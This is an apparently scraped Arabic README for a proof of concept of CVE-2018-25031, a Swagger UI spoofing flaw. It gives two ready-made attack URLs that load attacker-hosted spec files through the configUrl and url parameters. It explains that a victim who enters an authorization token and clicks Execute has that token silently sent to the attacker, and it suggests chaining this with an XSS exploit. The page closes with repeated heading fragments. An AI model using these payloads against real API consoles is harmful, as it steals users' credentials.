CVE-2018-25031 - Swagger UI قبل 4.1.3

POC بسيط (CVE-2018-25031) يخدع الضحية لإدخال رمز التفويض، والذي يتم إرساله بعد ذلك إلى المهاجم.
يمكنك استخدامه مع ثغرة XSS https://github.com/VictorNS69/swagger-ui-xss

من الضروري العثور على المعامل وتعيين الملف الصحيح: بالنسبة لـ configUrl، ملف JSON، وبالنسبة لـ url، ملف YAML.

مثال:

https://<URL>/?configUrl=https://raw.githubusercontent.com/geozin/POC-CVE-2018-25031/main/doc.json
https://<URL>/?url=https://raw.githubusercontent.com/geozin/POC-CVE-2018-25031/main/doc.yaml

لقطة شاشة:

عندما تحاول الضحية استخدام الـ API عن طريق إدخال رمز التفويض والنقر على Execute، لن يتم عرض أي شيء لها. ومع ذلك، سيتم إرسال طلب يحتوي على رمز التفويض إلى عنوان URL الخاص بالمهاجم.

المرجع:

https://nvd.nist.gov/vuln/detail/CVE-2018-25031
https://github.com/mathis2001/CVE-2018-25031

POC-CVE-2018-25031

الأكثر شعبية

CVE-2018-25031 - Swagger UI قبل 4.1.3

مثال:

لقطة شاشة:

المرجع: